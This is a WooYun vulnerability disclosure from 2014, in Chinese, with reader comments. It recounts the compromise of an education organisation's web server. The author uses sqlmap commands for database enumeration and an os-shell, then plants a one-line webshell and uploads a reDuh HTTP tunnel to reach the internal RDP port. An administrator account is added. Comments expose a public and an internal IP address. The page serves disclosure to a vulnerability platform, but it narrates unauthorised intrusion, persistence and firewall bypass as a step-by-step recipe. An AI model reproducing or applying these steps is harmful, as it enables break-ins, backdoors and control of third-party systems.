漏洞概要 关注数(35) 关注此漏洞
缺陷编号： WooYun-2014-77566
漏洞标题： 看我如何SQL注入沦陷一个网站绕过端口限制RDP隧道进服务器
相关厂商： shy.hpe.sh.cn
漏洞作者： Anonymous.L
提交时间： 2014-09-29 21:28
公开时间： 2014-11-11 21:30
漏洞类型： SQL注射漏洞
危害等级： 高
自评Rank： 20
漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系
Tags标签： SQL注入 SQL注射
漏洞详情
披露状态：
2014-09-29： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-11： 细节向公众公开
简要描述：
仅仅一个SQL注入导致服务器沦陷，下面让我来叙述一下是如何渗透进去的。
详细说明：
网址：http://**.**.**.**
一个sql注入导致的服务器沦陷。
一个事业教育单位，今天就上服务器看看.(声明：未有任何破坏性操作)
没事溜达到这个网址：(注入点)
http://**.**.**.**/ParentSchool/CN/jxhd/GetArticleList.aspx?parentid=169
首先是暴库（16个数据库吧）：
sqlmap -u "http://**.**.**.**/ParentSchool/CN/jxhd/GetArticleList.aspx?parentid=169" --dbs
DBA权限：
管理员：
脱裤暴表就没弄了，要这些数据也没啥用。选择了利用这个渗透进服务器。
下面说重点了。os-shell
sqlmap -u "http://**.**.**.**/ParentSchool/CN/jxhd/GetArticleList.aspx?parentid=169" --os-shell
比较奇怪sqlmap里执行os-shell不顺手，有点问题，现在就是写个马进去就行了。
果断换了种方式写了个一句话：
之前报错信息已经暴漏了网站的物理地址，马的物理位置：
d:/mainweb/ParentSchool/CN/jxhd/import.aspx
直接上服务器：
至此，已经拥有了这台服务器的shell了。
上了个文件getinfo.aspx,这个getinfo.aspx是我等下要用到的。
到这里就在想能否RDP进服务器看看。菜刀里看的着实不舒服。
得到的公网IP信息：
Nmap scan report for **.**.**.**
Host is up (0.011s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
就开了个80端口。
在菜刀里ipconfig下看到的是：
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::852a:c63b:2d0a:b032%10
IPv4 地址 . . . . . . . . . . . . : **.**.**.**
子网掩码 . . . . . . . . . . . . : **.**.**.**
默认网关. . . . . . . . . . . . . : **.**.**.**
原来是这样的：
公网ip地址:**.**.**.** 这个只开了80端口
内网ip地址:**.**.**.**
要么是防火墙，要么做了端口映射，直接访问内网ip地址:**.**.**.**肯定是不行的了。怎么办？
上面的上传的那个getinfo.aspx文件的作用来了。
这里reDuh隧道穿透了：
java -jar reDuhClient.jar http://**.**.**.**/ParentSchool/CN/jxhd/getinfo.aspx
给大家弄个截图，大致会出现下面界面：
打开本地1010端口，使用telnet或者nc连接本地的1010端口：
创建隧道：[createTunnel]1234:**.**.**.**:3389
nc本地1010端口，将本地1234端口与远程的服务器端3389端口绑定
ok，基本工作均已完成。下面在用菜刀添加个用户：
密码就不显示了。
提升权限至administrators组
好了，这就全部完成了：
mstsc打开本地**.**.**.**：1234端口，输入刚添加的用户名密码。直接RDP进内网吧：
这样就想操作你自己的电脑一样了，想干什么就干什么。
漏洞证明：
如上。
一句话：
http://**.**.**.**/ParentSchool/CN/jxhd/import.aspx
RDP隧道：
http://**.**.**.**/ParentSchool/CN/jxhd/getinfo.aspx
修复方案：
过滤
版权声明：转载请注明来源 Anonymous.L@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2014-09-29 13:51
厂商回复：
最新状态：
暂无
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%
评价
-
@大白菜 你还是没明白？我走的是隧道！除非网站不发布在公网上！
4# 回复此人 -
@大白菜 本来就不在公网，访问的网站ip是做了映射，不知道你说的流行是什么
7# 回复此人 -
@大白菜 你说了好大一堆废话。按你的意思，那跟不发布网站有什么区别？说了是隧道，外边访问里面只有通过某个ip的80端口到内网服务器的真正应用上。你还是先理清楚吧！
9# 回复此人 -
@大白菜 不明白你在端口转发什么，传统的反弹？端口复用？还是什么
11# 回复此人 -
@wefgod 是的，有了这个隧道防火墙就形同虚设。O(∩_∩)O~
13# 回复此人 -
@佩佩 我只是一个菜鸟而已，前途，好迷茫，不知道以后的路会是怎样
15# 回复此人 -
@佩佩 ....其实hack只是兴趣爱好之一，我也很喜欢Code的，有招聘的没，刚入社会的小菜鸟，求拖走ing ╮(╯_╰)╭
17# 回复此人 -
@末日 ip分几个段？210.22.116.91和10.11.124.5是同一网段？你把TCP/IP协议第一卷学好再来吧，真是逗了
20# 回复此人 -
@GrayTrack 准确的说应该算是HTTP隧道
21# 回复此人 -
@末日 那又怎样了，关键是你telnet 210.22.116.91与10.11.124.5的80端口测试下不就知道了？我不是说了，不是防火墙就是端口映射了？要是你都能telnet上去，那你厉害
23# 回复此人 -
@小饼仔 Windows DOS
25# 回复此人 -
@小饼仔 HTTP隧道，这个127.0.0.1:3389 不是本地的3389
28# 回复此人 -
@小饼仔 跟WebApp和DB没啥联系，这些主要是基于getinfo那个文件执行的，本地1234---getinfo---3389，也就是HTTP与RDP之间的转换
31# 回复此人 -
@loopx9 你果然细心，是的，那是另一个站的，只不过乌云上没有发布。只是搞了个大致截图，够心细的！
34# 回复此人 -
@小饼仔 3389端口就是传了getinfo那个文件的服务器3389，说白了就是他只开发了80端口，你没办法RDP连上去，所以你通过HTTP的80端口做了转换，变相打开了3389，其实还是80
36# 回复此人
( 普通白帽子 | Rank:827 漏洞数:84 | ..)
评论